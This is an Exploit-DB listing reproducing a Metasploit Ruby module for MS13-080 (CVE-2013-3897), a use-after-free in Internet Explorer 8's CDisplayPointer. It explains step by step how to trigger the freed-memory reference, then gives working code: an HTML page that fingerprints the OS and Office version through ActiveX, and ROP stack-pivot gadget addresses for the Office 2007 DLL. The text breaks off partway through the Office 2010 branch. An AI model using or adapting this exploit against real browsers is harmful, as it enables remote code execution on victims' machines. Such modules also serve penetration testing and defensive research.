Exploit-DB #28974
Description: Microsoft Internet Explorer - CDisplayPointer Use-After-Free (MS13-080) (Metasploit)
Type: remote
Platform: windows
Date: 2013-10-15
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::RopDb
  include Msf::Exploit::Remote::BrowserAutopwn

  autopwn_info({
    :ua_name    => HttpClients::IE,
    :ua_minver  => "8.0",
    :ua_maxver  => "8.0",
    :javascript => true,
    :os_name    => OperatingSystems::WINDOWS,
    :rank       => NormalRanking
  })

  def initialize(info={})
    super(update_info(info,
      'Name'           => "MS13-080 Microsoft Internet Explorer CDisplayPointer Use-After-Free",
      'Description'    => %q{
        This module exploits a vulnerability found in Microsoft Internet Explorer. It was originally
        found being exploited in the wild targeting Japanese and Korean IE8 users on Windows XP,
        around the same time frame as CVE-2013-3893, except this was kept out of the public eye by
        multiple research companies and the vendor until the October patch release.

        This issue is a use-after-free vulnerability in CDisplayPointer via the use of a
        "onpropertychange" event handler. To set up the appropriate buggy conditions, we first craft
        the DOM tree in a specific order, where a CBlockElement comes after the CTextArea element.
        If we use a select() function for the CTextArea element, two important things will happen:
        a CDisplayPointer object will be created for CTextArea, and it will also trigger another
        event called "onselect". The "onselect" event will allow us to set up for the actual event
        handler we want to abuse - the "onpropertychange" event. Since the CBlockElement is a child
        of CTextArea, if we do a node swap of CBlockElement in "onselect", this will trigger
        "onpropertychange".  During "onpropertychange" event handling, a free of the CDisplayPointer
        object can be forced by using an "Unslect" (other approaches also apply), but a reference
        of this freed memory will still be kept by CDoc::ScrollPointerIntoView, specifically after
        the CDoc::GetLineInfo call, because it is still trying to use that to update
        CDisplayPointer's position. When this invalid reference arrives in QIClassID, a crash
        finally occurs due to accessing the freed memory. By controlling this freed memory, it is
        possible to achieve arbitrary code execution under the context of the user.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Unknown', # Exploit in the wild
          'sinn3r'   # Metasploit
        ],
      'References'     =>
        [
          [ 'CVE', '2013-3897' ],
          [ 'OSVDB', '98207' ],
          [ 'MSB', 'MS13-080' ],
          [ 'URL', 'http://blogs.technet.com/b/srd/archive/2013/10/08/ms13-080-addresses-two-vulnerabilities-under-limited-targeted-attacks.aspx' ],
          [ 'URL', 'http://jsunpack.jeek.org/?report=847afb154a4e876d61f93404842d9a1b93a774fb' ]
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', {} ],
          [ 'IE 8 on Windows XP SP3', {} ],
          [ 'IE 8 on Windows 7',      {} ]
        ],
      'Payload'        =>
        {
          'BadChars'       => "\x00",
          'PrependEncoder' => "\x81\xc4\x0c\xfe\xff\xff" # add esp, -500
        },
      'DefaultOptions'  =>
        {
          'InitialAutoRunScript' => 'migrate -f'
        },
      'Privileged'     => false,
      # Jsunpack first received a sample to analyze on Sep 12 2013.
      # MSFT patched this on Oct 8th.
      'DisclosureDate' => "Oct 08 2013",
      'DefaultTarget'  => 0))
  end

  def get_check_html
    %Q|<html>
<script>
#{js_os_detect}

function os() {
  var detect = window.os_detect.getVersion();
  var os_string = detect.os_name + " " + detect.os_flavor + " " + detect.ua_name + " " + detect.ua_version;
  return os_string;
}

function dll() {
  var checka = 0;
  var checkb = 0;
  try {
    checka = new ActiveXObject("SharePoint.OpenDocuments.4");
  } catch (e) {}

  try {
    checkb = new ActiveXObject("SharePoint.OpenDocuments.3");
  } catch (e) {}

  if ((typeof checka) == "object" && (typeof checkb) == "object") {
    try{location.href='ms-help://'} catch(e){}
    return "#{@js_office_2010_str}";
  }
  else if ((typeof checka) == "number" && (typeof checkb) == "object") {
    try{location.href='ms-help://'} catch(e){}
    return "#{@js_office_2007_str}";
  }
  return "#{@js_default_str}";
}

window.onload = function() {
  window.location = "#{get_resource}/search?o=" + escape(os()) + "&d=" + dll();
}
</script>
</html>
    |
  end

  def junk
    rand_text_alpha(4).unpack("V")[0].to_i
  end

  def get_payload(target_info)
    rop_payload = ''
    os          = target_info[:os]
    dll_used    = ''

    case target_info[:dll]
    when @js_office_2007_str
      dll_used = "Office 2007"

      pivot =
      [
        0x51c2213f, # xchg eax,esp # popad # add byte ptr [eax],al # retn 4
        junk,       # ESI due to POPAD
        junk,       # EBP due to POPAD
        junk,
        junk,       # EBX due to POPAD
        junk,       # EDX due to POPAD
        junk,       # ECX due to POPAD
        0x51c5d0a7, # EAX due to POPAD (must be writable for the add instruction)
        0x51bd81db, # ROP NOP
        junk        # Padding for the retn 4 from the stack pivot
      ].pack("V*")

      rop_payload = generate_rop_payload('hxds', payload.encoded, {'target'=>'2007', 'pivot'=>pivot})

    when @js_office_2010_str
      dll_used = "Office 2010"

      pivot =